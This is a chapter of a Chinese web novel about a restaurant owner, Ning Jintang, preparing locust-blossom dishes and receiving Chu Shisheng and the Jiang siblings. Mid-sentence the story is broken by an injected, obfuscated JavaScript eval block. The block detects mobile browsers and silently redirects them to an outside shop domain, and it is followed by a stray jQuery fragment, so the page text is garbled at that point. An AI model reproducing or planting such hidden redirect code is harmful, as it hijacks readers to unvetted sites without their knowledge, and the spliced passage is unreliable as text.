翌日,宁今棠到达店内的时候,王石的一车槐花已经送来了,张强和丁刃几个小二把这些槐花搬到后厨摊开晾起来。
宁今棠去后厨看了这些槐花,朵朵新鲜芬香,上面还带着清晨的露水,宁今棠庆幸自己没有看错人,王石送货及时,这槐花的质量不仅好,还都是现摘的,这样新鲜的食材做出的菜是最好的。
昨日的那三样菜备受好评,但宁今棠不打算用这些槐花只做成那三样菜,只靠这几道菜,食客很容易就厌倦了,所以她并不打算拘泥于此。
她昨日回去又想了几个新奇的点子,能很好的将这些槐花都给利用起来。
宁今棠叫来林全和徐辉,让他们随自己挑出一串串花型好看,花瓣洁白没有受损的槐花,还好王石摘的槐花有些是连着枝条的,要不然她的炸槐花可就做不成了,但是数量还是有些少,下午他来的时候一定要跟他说,让他多摘串状的槐花。
三人挑了一会,挑了满满的一盘,宁今棠看着够了,剩下的槐花全都摘下来,放进水中泡起来。
今日宁今棠只打算在原来的基础上再加一道炸槐花和槐花疙瘩汤售卖,其余的在后几日在卖,明日就不卖槐花炒鸡蛋和槐花肉饺,改成槐花团子和蒸槐花,依此类推,把这些菜交叉着售卖,给人新鲜感的同时又钓着对其他菜的胃口。
宁今棠在一个开口大盆中放入面粉,再打入鸡蛋,放一些淡盐调味,最后加水将面粉和到挂壁状。
整串的槐花下水用巧劲洗干净控水,锅中倒入素油,用素油炸出的槐花串凉了之后外皮不会起油凝,也不会影响口感。
提起一串洁白的槐花串,在面糊中滚上一圈,让槐花串表面均匀的裹上面糊,然后下入油锅中用小火炸制表面金黄酥脆,出锅时可以根据个人的口味在撒上一些调料,可以是椒麻的胡椒粉,也可以辛辣的辣椒面,甚至也可以是白糖和蜂蜜。
蒸槐花做起来也十分的简单,洗干净的槐花控干水分,放进盆中倒上素油搅拌均匀,然后加入面粉,再次搅拌均匀,让每一颗槐花都能裹上面粉,搅拌出来的槐花,面不能太湿也不能太干,这样容易影响槐花出锅后的状态,只有面的湿润度刚刚好,蒸出来的槐花才不会是一坨死面。
在蒸屉中放入一层纱布,把槐花倒进去平铺开来,大火蒸上十几分钟之后就可以出锅了,出锅的槐花用筷子搅散,这样的槐花就是颗颗分明,可以调上一些小料汁浇在蒸槐花上一起搭配着吃。
槐花的很多做法大多都离不开面粉,这不,这一道槐花疙瘩汤的做法也需要用到面粉,槐花中加入面粉和鸡蛋,还有些许盐搅拌均匀。
切上些葱蒜沫,再洗些青菜切丝,番茄切丁备用,油热倒进葱蒜沫爆香,再下入番茄丁炒至出沙,加上水大火烧开,水开放入槐花疙瘩,再煮上个几分钟,出锅前加些青菜丝和盐。
这样的槐花疙瘩汤鲜香粘稠,好喝暖胃。
槐花团子的做法和蒸槐花大差不差,只不过槐花团子的用的较湿的面糊,而且槐花团子的槐花需要焯水,用书搓出一个圆润的团子上锅蒸,槐花团子并不需要过多的调味,和蒸槐花一样,调上一个小蘸料就可以了。
宁今棠将这些菜的做法一一交给三个大厨,确保他们没有疑问之后,宁今棠对林全嘱咐道,“对了,林师傅,槐花饺子适当跟槐花包子换一换,馅料可以做成槐花鸡蛋的,槐花三鲜或者槐花肉馅的都可以。”
林全应了一声好,宁今棠放心的把后厨交给他们三个。
宁今棠走出后厨,跟前堂的伙计们道,“食客下单炸槐花的时候,你们记得询问一声食客要的蘸料要甜还是要咸,别出了差错。”
“好嘞。”
众人应下,宁今棠往旁边一坐,等着楚时笙的到来,他让江晚和自己说的那些话,意味着他今日肯定也要来的吧。
另一头,楚时笙带着叶箐出门了,途经将军府时,恰巧遇到也要出门的江晚和江津衍。
江晚强拉着江津衍要上车,江津衍无奈的笑笑,“晚晚,我还有事,你让双儿陪你去就可以了。”
江晚松开拉着江津衍的手,改用双手叉腰,脸上带着些许不满,“你别骗我了,你的事早就忙完了,你就陪陪我嘛,我回来之后你一天天都在忙,你都没和我出去玩过,你不是挺喜欢宁姐姐做的菜嘛,我是要去找宁姐姐,你也一起,今日宁姐姐肯定会做新品的,我们去捧个场,你也趁这个机会休息一下。”
江津衍架不住江晚这一顿言语攻击,伸手摸了摸江晚的额头,语气宠溺道,“好,今天就陪你一回。”
“好哎!”江晚高兴的挽住江津衍的手,转身看见叶箐驾着马车驶来,江晚扬扬手,对叶箐打招呼,“叶二哥,你和三舅舅这是要去哪?”
“吁——”叶箐勒住马,憨笑着回答,“没干啥,去吃点东西。”
江晚眯起眼睛,调侃道,“不会是要去墨莲居吧?”
“哎,江小姐果真聪慧,这也能猜中。”叶箐发出惊叹,不愧是他家王爷的外甥女,这都能猜中,“江小姐和江公子这也是要出门吗?”
“凑巧,我们也要去墨莲居。”江晚回道。
江津衍拍拍江晚的手,带着江晚走到马车旁对里面的楚时笙行了个礼,“三舅舅早好。”
“嗯,既然是要去同一个地方,就一起吧。”车中的楚时笙道,想起昨日宁今棠避他如蛇蝎的模样,楚时笙觉得如果有江晚一起,宁今棠她应该会自在一些吧。
叶箐驾着马车走在前头,江晚和江津衍紧跟其后,没一会就到了墨莲居门口。
人有些多,都是冲着今日的新品来的,叶箐特意寻了个人少的地方停车,楚时笙下车时,一旁街口处的几个人吸引了他的注意力。
他们的行踪实在是太引人注目,来的人都面带新奇讨论墨莲居的新品,就他们几个缩在一起,交头接
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12890043|134898||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
耳的讨论着什么,时不时的对着墨莲居的方向露出一些奇怪的表情,领头的一个男人给他们塞了些东西,就晃悠着离开。
楚时笙心中升起一种不好的感觉,他们这个样子不像是普通的小混混,为了以防万一,楚时笙叫来叶箐,在叶箐的耳边低语,叶箐听后表情凝重,回了一个是,跟着那群人离开的路跟着过去。
“三舅舅,叶二哥怎么走了?”刚下车的江晚看到叶箐离开,好奇的问楚时笙,不是说要吃东西吗,他自己怎么倒先走了。
楚时笙平静的回了句,“他要如厕。”
江晚哑口无言,打着哈哈,“那我们快进去吧,等会人多了。”
楚时笙嗯了一声,走在前头,店内的人很多,点的都是新品,他们三人才一进店,槐花的香味扑鼻而来,宛如置身槐花林中。
“宁姐姐,我们来了。”
埋头写菜谱的宁今棠抬头一看,来的人是江晚、楚时笙还有一个年轻俊美的男子,宴会时见他坐在主桌,这位应该就是大将军的长子了。
“你们来了。”宁今棠起身迎接,江津衍近距离的观察了一回宁今棠,笑容甜甜的,很可爱。
江津衍先自我介绍了一番,“宁小姐好,我是晚晚的兄长江津衍。”
“江大哥好,江大哥果真和传言中的一样,英俊潇洒,风度翩翩。”宁今棠猝不及防的来了个彩虹屁。
“宁小姐谬赞,宁小姐才真的是才华横溢,心灵手巧。”江津衍婉拒了你的彩虹屁,并回赠了你一个彩虹屁。
一边的楚时笙不满的冷哼一声,宁今棠连忙道,“楼上请。”
一行人往楼上走,宁今棠安排了一桌丰盛的菜肴,将她刚刚做的一系列的新品都来了一份,还有酸笋炒牛肉和番茄排骨汤。
菜全部上齐,宁今棠正要给他们留出空间,楚时笙让她不用拘束,一同吃。
这时,门帘被掀开,叶箐走了进来,笑着对楚时笙说,“事情办好了。”
江晚带着嫌弃的口吻问,“啊,叶二哥,你连如厕这个事情都要和我三舅舅汇报吗?”
果真是五大三粗的大男人,这种事情怎么能当着这么多人的面前说出来呢。
“如厕,什么如厕?”叶箐一脸情况外的表情看着楚时笙,他没如厕啊?不是王爷让他去办事情的吗?怎么成如厕了?
楚时笙轻咳一声,脸不红心不跳的道,“好了,叶箐,这个事别再饭桌上提,有伤脸面。”
“哦。”叶箐委屈巴巴的背上这莫须有的污蔑。
宁今棠出来缓和场面,“大家快吃,等会菜就凉了。”
众人这才将目光放在桌上的菜肴,看到又添了几道新颖的菜,叶箐忍不住的赞叹道,“哇,宁小姐,这才一个晚上,你又想出了这么菜啊,看起来好好吃。”
宁今棠谦虚道,“还得请各位品尝一番,有什么地方要改进的,请大家提出来。”